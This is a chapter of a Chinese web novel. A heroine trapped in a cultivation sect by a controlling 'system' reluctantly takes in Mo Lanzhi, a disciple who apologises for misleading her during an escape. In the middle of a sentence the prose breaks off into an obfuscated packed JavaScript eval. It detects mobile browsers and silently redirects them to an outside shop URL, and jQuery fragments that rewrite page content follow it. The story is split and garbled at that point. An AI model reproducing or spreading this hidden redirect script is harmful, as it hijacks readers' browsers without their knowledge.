芦染终于摸索出这个世界的规律。
每当打坐满一个时辰,那如同镣铐般束缚着她的系统提示音便会短暂地消失一刻钟。
她不知道这是系统的疏漏,还是这个世界法则中必然存在的缝隙,但无论如何,这是她仅有的自由。
她缓缓睁开眼,脑海中没有响起那冰冷无波的电子音。
这个认知让她紧绷的心弦稍微松了一分,她试着活动僵直的身体。
久违的血液流通感从脚底涌上,带来一阵酥麻刺痛。
她皱紧眉头,握成拳的双手轻轻捶打大腿外侧,从膝盖开始一点点向上,力道由轻渐重。
肌肉在捶打下微微颤抖,像是在诉说着长时间的委屈。
“这苦日子……真是过够了。”
她低声呢喃,声音在空旷的室内显得格外清晰。
抬头绝望地打量着四周。
还什么清心阁?
这个地方,她只觉得憋闷。
芦染深吸一口气,强迫自己冷静下来。
她必须尽快找到逃离的方法。
这几天以来,那些弟子们防她跟防什么似的。
每一次她试图踏出清心阁的范围,总会有路过的同门将她劝回来。
每一顿饭食都由专人送来,绝不允许她踏足膳堂,甚至连沐浴的热水,都是隔着一道屏风由女弟子抬进来。
更可笑的是,所有人都对此习以为常。
他们看她的眼神恭敬而空洞……
芦染站起身,透过窗纸,她能看见外面模糊的庭院景致,还有远处连绵的仙山轮廓。
看到外面没人后,她才转身,蹑手蹑脚地走到一处地板边停下,蹲下身体去观察。
这是她昨晚发现的,路过这处的时候总觉得它的声音跟别处比起来不太对。
地板下面是什么?
手指刚触到木地板上。
‘叩,叩,叩’
木门被敲响了。
芦染的动作瞬间僵住。
她迅速收回手,几乎是弹跳着坐回床榻,以最快的速度抚平裙摆上的褶皱,双腿重新盘起。
一系列动作流畅得让她自己都有些惊讶,果然,人的潜力都是被逼出来的。
清了清嗓子,她让自己的声音听起来尽量平稳无波,“进。”
先进来的是陈枫,他端着今日的菜肴走进,食案被轻轻放在茶几上。
然后,又侧身让开了一步。
他身后还有一个人。
芦染的目光越过陈枫的肩膀,落在那道身影上。
初时只是模糊的轮廓,随着那人缓步走进室内,光线逐渐勾勒出他的面容……
她瞳孔猛然收缩。
是他。
悬崖边的黑衣少年,那个在月光下用一条烤鱼换走她玉佩的人。
此刻,他却穿着与陈枫一样的蓝白弟子服,并且腰间还挂着她的玉佩!
他怎么会来到这里!
芦染细细打量面前的人。
素净的颜色衬得他肤色愈发白皙,长发用一根简单的木簪束起,几缕碎发垂在额前。
那身黑衣赋予他的神秘与疏离感消失了,取而代之的是一种……干净,甚至有些单薄的少年气。
可那双眼睛依然是清澈无瑕的金色,此刻正静静地望着她,目光平静无波,看不出任何情绪。
芦染的心一点点沉下去。
原来如此。
难怪那夜她被抓的那么及时。
原来从一开始,这就是个圈套。
所谓的帮助她逃跑,不过是为了试探她的动向,或者……只是为了将她逼到某个他们希望她去的位置?
她心中冷笑,却笑不出来。
只觉得一股寒意从脚底窜上脊背,迅速蔓延至四肢。
NPC的话果然不能信。
可是,放眼望去,这偌大的仙芝宗,这苍茫的修仙界,除了她自己,还有谁是活的?
芦染垂下眼眸,她的手指在宽大的袖中悄悄握紧。
陈枫放好食案后,转身面向她,双手交叠置于身前,躬身行礼。
他的声音平稳无波,“这位是墨澜之,自今日起,他将负责您的日常起居,并随您修习。”
芦染几乎要以为自己听错了。
弟子?让她教?
她这半吊子水平,连最基本的引气入体都做得磕磕绊绊,能教什么?
攻击法术?她一招都不会。
防御阵法?她连阵眼都找不准。
难道教人怎么从早到晚打坐?怎么在系统的监视下偷那一炷香的自由?
这些NPC的安排,简直荒唐到可笑。
芦染直接摆手,语气冷淡得连自己都有些意外,“我不需要,你带他走吧,我一个人清净惯了,不需要人伺候。”
留个人在身边,名义上是照顾起居,实则与监视何异?
她可不想每时每刻都被一双眼睛盯着。
陈枫却像是没听见她的话。
他甚至没有抬头看她一眼,只是保持着行礼的姿势,用一种平铺直叙的语气继续说道:“宗主有令,墨澜之天资聪颖,根骨清奇,唯有跟随救世主修行,方不负其天赋,望仙子悉心教导,莫要推辞。”
说完,他直起身,竟转身就要离开。
芦染急了,顾不得维持那副清冷仙子的伪装,从床榻上起身,“等等,陈师兄,你没听清我说话吗,我说了我不需要!”
她快步上前,伸手想要拉住陈师兄的衣袖。
指尖却在即将触碰到他衣料的瞬间,撞上了一层无形的屏障。
她的手指被一股温和却不容抗拒的力量推开,无论她如何用力,都无法突破那层屏障分毫。
芦染愣住了。
她低头看着自己的双手,又抬头看向已经走到门边的陈枫,后者甚至没有回头,只是抬手推开门,身影很快消失在门外。
‘砰——’
门被轻轻带上了。
室内重新恢复寂静,只剩下她和那个叫墨澜之的少年。
芦染站在原地,胸口微微起伏,愤怒到不想说话。
她知道这个世界的规则限制她不能离开仙芝宗,不能停止打坐,不能拒绝救世主的职责,但她没想到,连拒绝一个弟子的权利都没有。
她自嘲地想,是不是她每一次反抗,每一次试探,都会让那些无形的枷锁变得更加牢固?
就像一场永无止境的猫鼠游戏,而她永远是那只被围追堵截的老鼠。
良久后,她的目光重新落在那个始终沉默的少年身上。
他依然站在那里,背脊挺直,姿态恭谨,阳光从窗棂的缝隙漏进来,将他脸上紧张的神色照的无处躲藏。
芦染走到茶几旁坐下,没有动筷子。
她需要一点时间来消化眼前的情况,更需要想一想接下来该怎么办。
质问他为什么背叛她?
为什么要把她的行踪告诉陈师兄?
为什么要配合那些人来抓她回来?
但是有意义吗?
他是NPC,他的所有行为都是无意识的。
问他就像质问一把刀为什么能割伤人一样可笑。
她端起那碗已经微凉的汤,小口啜饮,汤是菌菇炖的,香味扑鼻,可喝进嘴里却品不出任何滋味。
“你也走吧。”
她放下汤碗,声音里带着显而易见的疲惫,“回去告诉我爹,就说我教不了徒弟,让他另请高明。”
少年没有动。
芦染皱起眉,抬眼看他,“没听见吗?”
“抱歉。”
清冽的嗓音在安静的室内响起。
她的手僵在半空,缓缓地转过头,目光锁定在那张脸上。
他说什么?
一个NPC……在道歉?
她怀疑自己出现了幻听,或者这又是某种新的反应。
可少年那双金眸正望着她,眼神依然是平静的,但那种平静里似乎多了一丝极细微的诚恳。
芦染一字一顿地问:“你刚才说什么?”
墨澜之向她躬身行礼,姿态比陈枫更加恭谨,却多了分自然。
他垂着眼帘,长长的睫毛在眼下投出浅淡的阴影。
“那夜在悬崖边,弟子并未将仙子行踪告知外人,可却指错了路导致仙子被抓回。”
他的声音平稳,吐字清晰,每个字都像经过斟酌,“弟子知错,害仙子被追回仙芝宗,受罚禁足,皆是弟子之过,特来请罪,望仙子责罚。”
芦染觉得自己的脑子有点不够用了。
他知道自己此刻在说什么。
不仅记得那夜的事,还记得那是错的,还记得应该请罪。
这不对劲。
完全不对劲。
NPC不该有自主记忆,至少她接触过的所有NPC都没有,他们只会按照设定好的设定行动,并且一旦场景切换就会被重置。
就像陈枫,每次见她都是那套标准的话术,仿佛之前的每一次见面都不曾发生过。
可眼前这个人……
他不仅记得,还能为错误道歉。
“谁让你来的?”芦染的声音冷了下来,警惕心重新升起。
“我爹?还是……系统?”
她甚至不确定系统这个词他能不能听懂。
但她必须问。
墨澜之抬起头,那双漂亮的金眸对上她的视线。
然后,芦染看见了一件更加不可思议的事……
那双眼睛里,竟然浮起了一层
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481032|201738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
薄薄的水光。
“弟子……”他的声音开始发颤,不是害怕的那种颤抖而是一种仿佛从骨子里透出来的悲凉,“自幼无父无母,流落街头,每天过着食不果腹的生活……”
他的语速很慢,每一个字都像从喉咙里艰难地挤出来,“三岁的时候就被歹人抓住囚禁,被他们虐待……”
他的眼眶红了,不是做戏,是真正因为极力压抑情绪而泛起的红润。
“后来,是路过的一位仙子见我可怜,将我带回家,赐我姓名,教我识字修行,可我根骨普通,修为一直停滞不前,最后才来到宗门求学,可宗主说……若我再无进益,便只能离开。”
他抬起头,眼眶已然红润得彻底,看上去可怜的很。
“若仙子不肯收留……”他的声音哽咽了,“弟子便只能……被逐出师门,再回那颠沛流离,食不果腹的日子。”
说完这些话,他像是耗尽了所有力气,整个人笼罩在一层浓重的悲伤里。
芦染怔怔地看着他。
她看着他颤抖的双手,看着他泛红的眼眶,看着他脸上真实的泪痕。
太真了。
真到让她心悸。
一个NPC,能演出这种程度的绝望吗?
能演出那种从骨子里透出来的对饥饿和寒冷的恐惧吗?
还是说……他根本不是在演?
这个念头让她呼吸一窒。
她想起了自己。
在那个被称为前世的世界里,她也曾经历过这样的日子。
最艰难的时候,一天只吃一顿饭,馒头就着白开水,能在深夜打工的便利店偷偷加热一个茶叶蛋,就是一天里最大的幸福。
她知道那种滋味。
知道饿到胃部抽搐是什么感觉,知道冬天没有厚衣服穿,手脚长满冻疮是什么滋味,知道看着别人阖家团圆,自己却连个可以回去的地方都没有,是怎样的孤独。
所以当墨澜之说出那些话时,她几乎能感同身受。
心底那点对美人的怜惜之心又开始悄悄作祟。
沉默在室内蔓延,只有窗外偶尔传来的鸟鸣和远处隐约的练剑声。
芦染闭上眼,深吸一口气,当她再睁开眼时,眼底的挣扎已经褪去。
“隔壁那间屋子,一直空着。”
她的声音有些干涩,“你自己去收拾吧,缺什么,去找管事弟子领。”
墨澜之明显愣住了。
他抬起头,那双还泛着水光的金眸呆呆地望着她,像是在消化她的话,眼眶微红,配上那张过分好看的脸,竟有种脆弱的美感。
芦染被他看得有些窘迫,耳根微微发热。
她别过脸,不去看他的眼睛,声音硬邦邦地补充道:“看什么看,我是救世主,爱护众生,庇护弱小,不是理所应当的事吗?”
才不是因为你可怜,也不是因为你这张脸。
更不是因为……你哭起来的样子,让人狠不下心。
她在心里默默补上这几句,像是在说服自己,又像是在给自己找台阶下。
少年眨了眨眼。
随后,他慢慢地弯起了唇角。
“是,”他轻声应道,声音里还带着一丝未散尽的鼻音,却已经恢复了清冽。
他后退一步,再次躬身行礼。
“谢……”他顿了顿,那个“师”字在舌尖转了一圈,终究没有说出口,而是换成了另一个称呼,“芦染仙子。”
墨澜之退出去后,室内重新恢复了寂静。
芦染坐在茶几前,看着那几碟已经彻底凉透的菜,却没有了胃口。
脑子里乱糟糟的。
那时的他……和今天的他,判若两人。
可那双金眸没变……
芦染放下碗,揉了揉眉心,“走一步看一步吧。”
至少,墨澜之的存在不完全是坏事。
有他在,还能从他身上套出更多关于这个世界的信息,甚至……找到新的逃跑机会。
这个念头让她精神一振。
她起身,走到窗边。
窗外天色渐晚,夕阳将云层染成橘红色,远处的仙山轮廓在暮色中显得愈发朦胧。
地板下面的东西,今天大概是没机会去探了。
不过没关系,来日方长。
她转身走回床榻,重新盘膝坐下。
距离下一个自由时刻还有一个时辰,她得抓紧时间打坐虽然只是做个样子。
闭上眼睛前,她下意识地瞥了一眼隔壁房间的方向。
那里已经亮起了灯,昏黄的光透过窗纸,在暮色中显得格外温暖。
墨澜之……
她在心里默念这个名字。
系统冰冷的声音准时在脑海中响起:【今日打坐剩余三个时辰。】